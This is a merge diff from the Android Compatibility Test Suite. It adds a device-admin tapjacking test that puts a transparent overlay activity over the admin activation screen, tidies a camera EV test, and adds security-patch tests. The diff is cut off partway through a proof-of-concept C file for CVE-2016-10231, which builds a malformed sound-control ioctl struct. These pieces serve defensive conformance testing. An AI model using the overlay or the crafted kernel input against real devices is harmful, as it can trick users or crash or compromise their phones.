Merge "All storage tests should wait for idle." into oc-dev
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
index c0b3b3e..4473bc7 100644
--- a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
@@ -12,29 +12,27 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
+import os.path
+
import its.caps
import its.device
+import its.image
import its.objects
-import os.path
-from matplotlib import pylab
import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
import numpy as np
-#AE must converge within this number of auto requests for EV
-THRESH_CONVERGE_FOR_EV = 8
+NAME = os.path.basename(__file__).split('.')[0]
+LOCKED = 3
+LUMA_LOCKED_TOL = 0.05
+THRESH_CONVERGE_FOR_EV = 8 # AE must converge within this num
YUV_FULL_SCALE = 255.0
YUV_SATURATION_MIN = 253.0
YUV_SATURATION_TOL = 1.0
def main():
- """Tests that EV compensation is applied.
- """
- LOCKED = 3
-
- NAME = os.path.basename(__file__).split(".")[0]
+ """Tests that EV compensation is applied."""
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -50,7 +48,7 @@
fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
ev_per_step = its.objects.rational_to_float(
- props['android.control.aeCompensationStep'])
+ props['android.control.aeCompensationStep'])
steps_per_ev = int(1.0 / ev_per_step)
evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
lumas = []
@@ -64,31 +62,37 @@
cam.do_3a(ev_comp=0, lock_ae=True, do_af=False)
for ev in evs:
-
# Capture a single shot with the same EV comp and locked AE.
req = its.objects.auto_capture_request()
req['android.control.aeExposureCompensation'] = ev
- req["android.control.aeLock"] = True
+ req['android.control.aeLock'] = True
caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
- for cap in caps:
- if (cap['metadata']['android.control.aeState'] == LOCKED):
+ luma_locked = []
+ for i, cap in enumerate(caps):
+ if cap['metadata']['android.control.aeState'] == LOCKED:
y = its.image.convert_capture_to_planes(cap)[0]
- tile = its.image.get_image_patch(y, 0.45,0.45,0.1,0.1)
- lumas.append(its.image.compute_image_means(tile)[0])
- rgb = its.image.convert_capture_to_rgb_image(cap)
- rgb_tile = its.image.get_image_patch(rgb,
- 0.45, 0.45, 0.1, 0.1)
- rgb_means = its.image.compute_image_means(rgb_tile)
- reds.append(rgb_means[0])
- greens.append(rgb_means[1])
- blues.append(rgb_means[2])
- break
- assert(cap['metadata']['android.control.aeState'] == LOCKED)
+ tile = its.image.get_image_patch(y, 0.45, 0.45, 0.1, 0.1)
+ luma = its.image.compute_image_means(tile)[0]
+ luma_locked.append(luma)
+ if i == THRESH_CONVERGE_FOR_EV-1:
+ lumas.append(luma)
+ rgb = its.image.convert_capture_to_rgb_image(cap)
+ rgb_tile = its.image.get_image_patch(rgb,
+ 0.45, 0.45,
+ 0.1, 0.1)
+ rgb_means = its.image.compute_image_means(rgb_tile)
+ reds.append(rgb_means[0])
+ greens.append(rgb_means[1])
+ blues.append(rgb_means[2])
+ print 'lumas in AE locked captures: ', luma_locked
+ assert np.isclose(min(luma_locked), max(luma_locked),
+ rtol=LUMA_LOCKED_TOL)
+ assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata']['android.control.aeState'] == LOCKED
pylab.plot(evs, lumas, '-ro')
pylab.xlabel('EV Compensation')
pylab.ylabel('Mean Luma (Normalized)')
- matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+ matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
# Trim extra saturated images
while lumas and lumas[-1] >= YUV_SATURATION_MIN/YUV_FULL_SCALE:
@@ -104,13 +108,13 @@
else:
break
# Only allow positive EVs to give saturated image
- assert(len(lumas) > 2)
+ assert len(lumas) > 2
luma_diffs = np.diff(lumas)
min_luma_diffs = min(luma_diffs)
- print "Min of the luma value difference between adjacent ev comp: ", \
- min_luma_diffs
+ print 'Min of the luma value difference between adjacent ev comp: ',
+ print min_luma_diffs
# All luma brightness should be increasing with increasing ev comp.
- assert(min_luma_diffs > 0)
+ assert min_luma_diffs > 0
if __name__ == '__main__':
main()
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 8648aae..18a8764 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -118,6 +118,32 @@
android:value="android.software.device_admin" />
</activity>
+ <activity android:name=".admin.tapjacking.DeviceAdminTapjackingTestActivity"
+ android:label="@string/da_tapjacking_test"
+ android:configChanges="keyboardHidden|orientation|screenSize">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
+ <meta-data android:name="test_required_features"
+ android:value="android.software.device_admin" />
+ </activity>
+
+ <receiver android:name=".admin.tapjacking.EmptyDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/tapjacking_device_admin" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+ </intent-filter>
+ </receiver>
+
+ <activity
+ android:name=".admin.tapjacking.OverlayingActivity"
+ android:theme="@style/OverlayTheme"
+ android:label="Overlaying Activity"/>
+
<activity android:name=".companion.CompanionDeviceTestActivity"
android:label="@string/companion_test"
android:configChanges="keyboardHidden|orientation|screenSize">
diff --git a/apps/CtsVerifier/res/drawable/border.xml b/apps/CtsVerifier/res/drawable/border.xml
new file mode 100644
index 0000000..b419618
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable/border.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <corners
+ android:radius="4dp"/>
+ <stroke
+ android:width="4dp"
+ android:color="@android:color/black" />
+</shape>
diff --git a/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml b/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml
new file mode 100644
index 0000000..5583fce
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/da_tapjacking_overlay_activity.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:background="@drawable/border"
+ android:padding="8dp" >
+
+ <TextView android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textColor="@android:color/black"
+ android:text="@string/da_tapjacking_overlay_app_description" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml b/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml
new file mode 100644
index 0000000..2ee9ea9
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/da_tapjacking_test_main.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+ style="@style/RootLayoutPadding"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <!-- Enable device admin -->
+ <RelativeLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" >
+
+ <TextView
+ android:id="@+id/admin_tapjacking_instructions"
+ style="@style/InstructionsSmallFont"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_alignParentTop="true"
+ android:text="@string/da_tapjacking_instructions" />
+
+ <Button
+ android:id="@+id/enable_admin_overlay_button"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_below="@id/admin_tapjacking_instructions"
+ android:layout_marginLeft="20dip"
+ android:layout_marginRight="20dip"
+ android:text="@string/da_tapjacking_button_text" />
+ </RelativeLayout>
+
+ <include layout="@layout/pass_fail_buttons" />
+ </LinearLayout>
+
+</ScrollView>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 046d426..45e1ff3 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -79,6 +79,10 @@
can be easily uninstalled from the application details screen in a way similar to other
apps.
</string>
+ <string name="da_tapjacking_test">Device Admin Tapjacking Test</string>
+ <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
+ user by obscuring the device admin details while prompting the user to activate the admin.
+ </string>
<string name="car_dock_test">Car Dock Test</string>
<string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
car dock when going into car mode.\n\n
@@ -134,6 +138,19 @@
</string>
<string name="da_uninstall_admin_button_text">Launch settings</string>
+ <string name="da_tapjacking_overlay_app_description">This activity attempts to tapjack the activity below.\n
+ Any security sensitive controls below should not respond to taps as long as this activity is visible.</string>
+ <string name="da_tapjacking_instructions">
+ 1. Launch the device admin add screen by pressing the button below.\n
+ 2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
+ 3. The button to activate the admin should be disabled and should not register any taps.\n
+ 4. Press \'back\' to exit the overlaying transparent activity.\n
+ 5. Press \'back\' to exit the device admin details and return to this screen.\n
+ Pass the test if the device admin could not be activated while the details
+ window was being obscured.
+ </string>
+ <string name="da_tapjacking_button_text">Enable device admin</string>
+
<!-- Strings for lock bound keys test -->
<string name="sec_lock_bound_key_test">Lock Bound Keys Test</string>
<string name="sec_lock_bound_key_test_info">
diff --git a/apps/CtsVerifier/res/values/styles.xml b/apps/CtsVerifier/res/values/styles.xml
index 0e05817..64fd4fe 100644
--- a/apps/CtsVerifier/res/values/styles.xml
+++ b/apps/CtsVerifier/res/values/styles.xml
@@ -13,4 +13,9 @@
<style name="RootLayoutPadding">
<item name="android:padding">10dip</item>
</style>
+ <style name="OverlayTheme" parent="android:Theme.Dialog">
+ <item name="android:windowNoTitle">true</item>
+ <item name="android:windowIsTranslucent">true</item>
+ <item name="android:windowBackground">@android:color/transparent</item>
+ </style>
</resources>
diff --git a/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml b/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml
new file mode 100644
index 0000000..d884663
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+ <uses-policies>
+ <limit-password />
+ <watch-login />
+ <encrypted-storage />
+ <wipe-data />
+ <reset-password />
+ <disable-keyguard-features />
+ <force-lock />
+ <limit-password />
+ </uses-policies>
+</device-admin>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
new file mode 100644
index 0000000..4c9b46d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test that checks that device admin activate button does not allow taps when another window
+ * is obscuring the device admin details
+ */
+public class DeviceAdminTapjackingTestActivity extends PassFailButtons.Activity implements
+ View.OnClickListener {
+
+ private static final String TAG = DeviceAdminTapjackingTestActivity.class.getSimpleName();
+ private static final String ADMIN_ACTIVATED_BUNDLE_KEY = "admin_activated";
+ private static final String ACTIVITIES_FINISHED_IN_ORDER_KEY = "activities_finished_in_order";
+ private static final int REQUEST_ENABLE_ADMIN = 0;
+ private static final int REQUEST_OVERLAY_ACTIVITY = 1;
+ private static final long REMOVE_ADMIN_TIMEOUT = 5000;
+
+ private DevicePolicyManager mDevicePolicyManager;
+ private Button mAddDeviceAdminButton;
+ private boolean mAdminActivated;
+ private boolean mActivitiesFinishedInOrder;
+ private boolean mOverlayFinished;
+ private ComponentName mAdmin;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.da_tapjacking_test_main);
+ setInfoResources(R.string.da_tapjacking_test, R.string.da_tapjacking_test_info, -1);
+ setPassFailButtonClickListeners();
+
+ mAdmin = new ComponentName(this, EmptyDeviceAdminReceiver.class);
+ mDevicePolicyManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+
+ if (savedInstanceState != null) {
+ mAdminActivated = savedInstanceState.getBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, false);
+ mActivitiesFinishedInOrder = savedInstanceState.getBoolean(
+ ACTIVITIES_FINISHED_IN_ORDER_KEY, false);
+ } else if (isActiveAdminAfterTimeout()) {
+ Log.e(TAG, "Could not remove active admin. Cannot proceed with test");
+ finish();
+ }
+ mAddDeviceAdminButton = findViewById(R.id.enable_admin_overlay_button);
+ mAddDeviceAdminButton.setOnClickListener(this);
+ }
+
+ private boolean isActiveAdminAfterTimeout() {
+ final long timeOut = SystemClock.uptimeMillis() + REMOVE_ADMIN_TIMEOUT;
+ while (mDevicePolicyManager.isAdminActive(mAdmin)
+ && SystemClock.uptimeMillis() < timeOut ) {
+ try {
+ Thread.sleep(1000);
+ } catch(InterruptedException exc) {
+ }
+ }
+ return mDevicePolicyManager.isAdminActive(mAdmin);
+ }
+
+ @Override
+ public void onClick(View v) {
+ if (v == mAddDeviceAdminButton) {
+ Intent securitySettingsIntent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+ securitySettingsIntent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdmin);
+ startActivityForResult(securitySettingsIntent, REQUEST_ENABLE_ADMIN);
+ try {
+ Thread.sleep(2000);
+ } catch (InterruptedException exc) {
+ }
+ startActivityForResult(new Intent(this, OverlayingActivity.class),
+ REQUEST_OVERLAY_ACTIVITY);
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_ENABLE_ADMIN) {
+ mActivitiesFinishedInOrder = mOverlayFinished;
+ if (resultCode == RESULT_OK) {
+ mAdminActivated = true;
+ Log.e(TAG, "Admin was activated. Restart the Test");
+ }
+ }
+ else if (requestCode == REQUEST_OVERLAY_ACTIVITY) {
+ mOverlayFinished = true;
+ }
+ }
+
+ @Override
+ public void onResume() {
+ super.onResume();
+ updateWidgets();
+ }
+
+ @Override
+ public void onSaveInstanceState(Bundle icicle) {
+ icicle.putBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, mAdminActivated);
+ icicle.putBoolean(ACTIVITIES_FINISHED_IN_ORDER_KEY, mActivitiesFinishedInOrder);
+ }
+
+ private void updateWidgets() {
+ mAddDeviceAdminButton.setEnabled(!mActivitiesFinishedInOrder && !mAdminActivated);
+ getPassButton().setEnabled(!mAdminActivated && mActivitiesFinishedInOrder);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java
new file mode 100644
index 0000000..42dd9ac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/EmptyDeviceAdminReceiver.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+public class EmptyDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ DevicePolicyManager dpm =
+ (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ dpm.removeActiveAdmin(new ComponentName(context, this.getClass()));
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
new file mode 100644
index 0000000..52c7ed5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import static android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON;
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import com.android.cts.verifier.R;
+
+
+public class OverlayingActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.da_tapjacking_overlay_activity);
+ WindowManager.LayoutParams params = getWindow().getAttributes();
+ params.flags = FLAG_LAYOUT_NO_LIMITS | FLAG_NOT_TOUCH_MODAL | FLAG_NOT_TOUCHABLE
+ | FLAG_KEEP_SCREEN_ON;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index f9d732c..9e4744c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -18,18 +18,39 @@
public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
- private static final String TAG = "ResetPasswordWithTokenTest";
-
private static final String PASSWORD = "1234";
private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
public void testResetPasswordWithToken() {
+ testResetPasswordWithToken(false);
+ }
+
+ public void testResetPasswordWithTokenMayFail() {
+ // If this test is executed on a device with password token disabled, allow the test to
+ // pass.
+ testResetPasswordWithToken(true);
+ }
+
+ private void testResetPasswordWithToken(boolean acceptFailure) {
try {
// set up a token
assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
- assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, TOKEN0));
+
+ try {
+ // On devices with password token disabled, calling this method will throw
+ // a security exception. If that's anticipated, then return early without failing.
+ assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+ TOKEN0));
+ } catch (SecurityException e) {
+ if (acceptFailure &&
+ e.getMessage().equals("Escrow token is disabled on the current user")) {
+ return;
+ } else {
+ throw e;
+ }
+ }
assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
// resetting password with wrong token should fail
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index d20d5e4..2063104 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -38,8 +38,6 @@
import java.util.Map;
import java.util.Set;
import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
import javax.annotation.Nullable;
@@ -228,13 +226,19 @@
return 0;
}
- protected void stopUser(int userId) throws Exception {
+ protected void stopUser(int userId) throws Exception {
+ // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
+ waitForBroadcastIdle();
String stopUserCommand = "am stop-user -w -f " + userId;
CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
CLog.d("Output for command " + stopUserCommand + ": "
+ getDevice().executeShellCommand(stopUserCommand));
}
+ private void waitForBroadcastIdle() throws Exception {
+ getDevice().executeShellCommand("am wait-for-broadcast-idle");
+ }
+
protected void removeUser(int userId) throws Exception {
if (listUsers().contains(userId) && userId != USER_SYSTEM) {
// Don't log output, as tests sometimes set no debug user restriction, which
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 0023d92..41775b3 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -50,6 +50,10 @@
<option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
<option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
<option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
+ <option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
+ <option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
+ <option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
+ <option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
<option name="append-bitness" value="true" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
new file mode 100644
index 0000000..3ba801e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10231
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
new file mode 100644
index 0000000..b6b82d7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <string.h>
+#include <stdlib.h>
+
+#define SNDRV_CTL_IOCTL_ELEM_WRITE _IOWR('U', 0x13, struct snd_ctl_elem_value)
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_aes_iec958 {
+ unsigned char status[24];
+ unsigned char subcode[147];
+ unsigned char pad;
+ unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_id {
+ unsigned int numid;
+ snd_ctl_elem_iface_t iface;
+ unsigned int device;
+ unsigned int subdevice;
+ unsigned char name[44];
+ unsigned int index;
+};
+
+struct snd_ctl_elem_value {
+ struct snd_ctl_elem_id id;
+ unsigned int indirect: 1;
+ union {
+ union {
+ long value[128];
+ long *value_ptr;
+ } integer;
+ union {
+ long long value[64];
+ long long *value_ptr;
+ } integer64;
+ union {
+ unsigned int item[128];
+ unsigned int *item_ptr;
+ } enumerated;
+ union {
+ unsigned char data[512];
+ unsigned char *data_ptr;
+ } bytes;
+ struct snd_aes_iec958 iec958;
+ } value;
+ struct timespec tstamp;
+ unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+ struct snd_ctl_elem_value val;
+ memset(&val, 0xff, sizeof(val));
+ val.id.numid = 0x80;
+ val.id.iface = 0x1;
+ val.id.device = 0x400;
+ val.id.subdevice = 0x7;
+ memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
